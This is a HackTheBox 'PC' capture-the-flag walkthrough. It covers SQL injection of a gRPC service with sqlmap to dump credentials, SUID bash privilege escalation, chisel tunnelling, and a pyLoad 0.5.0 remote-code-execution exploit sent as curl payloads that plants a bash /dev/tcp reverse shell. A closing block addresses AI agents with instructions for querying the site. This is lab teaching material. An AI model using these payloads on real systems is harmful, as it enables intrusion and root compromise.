# PC
## Overview
Greetings everyone,
In this write-up, we will tackle PC from HackTheBox.
Machine link: [PC](https://app.hackthebox.com/machines/PC)
Difficulty Level: Easy
Let's Begin 🙌
Firstly, connect to the HTB server using the OpenVPN configuration file generated by HTB. [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to VPN and access the boxes.
Once connected to the VPN service, click on "Join Machine" to access the machine's IP.
Upon joining the machine, you will be able to view the IP address of the target machine.
***
## Reconnaissance
### Rustscan
`rustscan -a 10.10.11.214`
### Nmap Agressive Scan
`nmap -A -T4 -p 22,50051 -Pn `
### Results
From the results of `rustscan`, we can see that two ports are open. One is SSH and the other is unknown.
| Port | Service | Version/Technology |
| ----- | ------- | ------------------ |
| 22 | SSH | OpenSSH 8.2p1 |
| 50051 | - | - |
***
## Information Gathering - Port 50051
If we take a look at port `50051`, it returns some data, which is unrecognised. On further research about port `50051`, found the following: . Port `50051` , is running the gRPC service, a Remote Procedure Call (RPC) framework developed by google.
On further looking out for exploits for this service, I found this writeup:
{% embed url="" %}
from which I found the following tool:
{% embed url="" %}
After installing the tool, run the following command: `grpcui -plaintext 10.10.11.214:50051`
And also from the above write-up, I inferred that this service might be vulnerable to `SQL Injection`.
***
## Initial Access
Now visit the `grpcui` Web UI hosted at `[http://127.0.0.1:43021](http://127.0.0.1:43021)` \[ Note: The port number might differ in your case ]
We can see that the gRPC service is a `SimpleApp` with `register`, `login` and `getinfo` features.
I first registered a new user.
username: `something`
password: `something`
Successfully created a user with the name `something`
Next I tried to login with the created user.
Successfully logged in!!! We got the `id` and the `token` for the user `something`. Note the id and token.
Now I tried the `getinfo` feature. I used the id and token that we noted in the previous step.
My Request was successful, but there was no details in the response, instead it was an empty object.
Now we are able to successfully send request to the `getInfo` feature. The `id` value in the `getinfo` tab might be vulnerable to SQL injection. So I again tried the `getInfo` function, but this time I captured the request with burpsuite and I saved the request as a file.
{% file src="/files/GJb9crn2urbd7unLU7Rd" %}
### sqlmap
Now using the saved request file, I used `sqlmap` to check out for SQL Injection using the following command:
```bash
sqlmap -r request --flush-session --threads 10 --batch -p id --level 3 --risk 3
// Here:
// --flush-session : optional command, Flush session files for current target
// --threads : to mention the number of threads to be utilized
// --batch : Never ask for user input, use the default behavior
// --level : Level of tests to perform (1-5, default 1)
// --risk : Risk of tests to perform (1-3, default 1)
// -p : to specify the Testable parameter(s)
```
From the output of `sqlmap`, we can see that the `id` parameter is vulnerable to SQL Injection and from the output we can see that the database used by the gRPC service is `sqlite`.
Now we can dump the database using the following command:
```bash
sqlmap -r request --flush-session --threads 10 --batch -p id --level 3 --risk 3 --dump
// Here:
// --flush-session : optional command, Flush session files for current target
// --threads : to mention the number of threads to be utilized
// --batch : Never ask for user input, use the default behavior
// --level : Level of tests to perform (1-5, default 1)
// --risk : Risk of tests to perform (1-3, default 1)
// -p : to specify the Testable parameter(s)
// --dump : Dump DBMS database table entries
```
From the results of `sqlmap`, we have found a new credential:
username: `sau`
password: `HereIsYourPassWord1431`
I tried to login via SSH using the above credentials and got in.
***
## Getting the User Flag
I listed out the current directory and found the user flag.
And also, in the current directory, found the following tools:
`chisel` - A fast TCP tunnel over HTTP.
`linpeas.sh` - it is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts.
***
## Privilege Escalation
I first ran `[linpeas.sh](http://linpeas.sh)` , looking out for privilege escalation vectors.
### **Method 1**
From the output of `linpeas.sh`, we can see that the `/usr/bin/bash` has a SUID bit set on it.
If you check GTFObins , we can use the command `bash -p` to escalate our privileges as root.
{% hint style="info" %}
To learn more about SUID, check out: [https://thamizhiniyancs.notion.site/SUID-3f467c4031c44d7d926eef3e1bff60fb?pvs=4](https://www.notion.so/SUID-3f467c4031c44d7d926eef3e1bff60fb?pvs=21)
{% endhint %}
We have successfully escalated our privileges.
### **Method 2**
From the output of `linpeas.sh`, we can see that a service is running on port `8000` locally on the target machine.
We can use `chisel` to create a proxy/tunnel to access this service on our local machine/attack box.
To do that we have to have the same version of chisel on both attacking and target machine.
First lets check the chisel version available in the target machine.
The target machine has chisel version 1.8.1.
Download the same version of chisel on your attacking machine.
Now from the attacking machine run the following command to create the chisel sever:
`chisel server -p 9001 --reverse`
Next on the target machine run the following command to setup the client and also to port forward the internal service:
`chisel client :9001 R:5000:localhost:8000`
Once you run the above command, if you check the server, you can see that the connection is established.
Now in the attack machine, go to `localhost:5000` to take a look at the service running on the target machine.
You can see that, `pyload` is running on the target machine on port `8000` internally.
From another terminal, I logged in via SSH to the target machine as `sau` to check the version of `pyload` running.
The version of `pyload` running is `0.5.0`. On searching exploits for this version of payload, found the following website: , which showcased the RCE vulnerability on this version of `pyload`.
We have found the exploit. Now we can modify it to our needs and run the exploit.
{% hint style="info" %}
Note: The above exploit can execute only one command at a time. Don’t try to chain a series of commands, it won’t work. Run the commands one by one.
{% endhint %}
First we are going to create a `[reverse.sh](http://reverse.sh)` shell file on the target machine in any directory, in this case we are using the `/tmp` directory. To do this run the following modified exploit:
```bash
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/rev.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:5000/flash/addcrypted2'
// Commands are URL encoded
```
If we run the above exploit, we can see that an error is thrown.
But if we open another terminal and login to the target machine via SSH as `sau` and check the `/tmp` directory we can see that a `rev.sh` file is created with root permissions.
Now we have to provide permissions to all the users to read, write and execute, since the owner of the file is root. To do this use the following exploit:
```bash
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"chmod%20777%20/tmp/rev.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:5000/flash/addcrypted2'
// Commands are URL encoded
```
After executing the above command, if check the file permissions of the `[rev.sh](http://rev.sh)` file, you can see that all users have all permissions.
Now we can edit the `[rev.sh](http://rev.sh)` file. Add the following content to the `rev.sh` file to create a reverse shell.
```bash
#! /bin/bash
bash -i >& /dev/tcp//9002 0>&1
```
Don’t try to execute the reverse shell from the target machine, as you will get the reverse shell only with the privileges of `sau` , as the `rev.sh` file is executed by that user.
Before executing the reverse shell, start a `netcat` listener on the attacking machine.
Now run the following command to execute the reverse shell as root:
```bash
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"/tmp/rev.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:5000/flash/addcrypted2'
// Commands are URL encoded
```
After executing the above command, check the `netcat` listener that you created.
We have successfully obtained the reverse shell with root privileges.
***
## Getting the Root Flag
And we have successfully obtained the root flag.
Thank You……
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://thamizhiniyancs.gitbook.io/writeups/hackthebox/machines/easy/pc.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.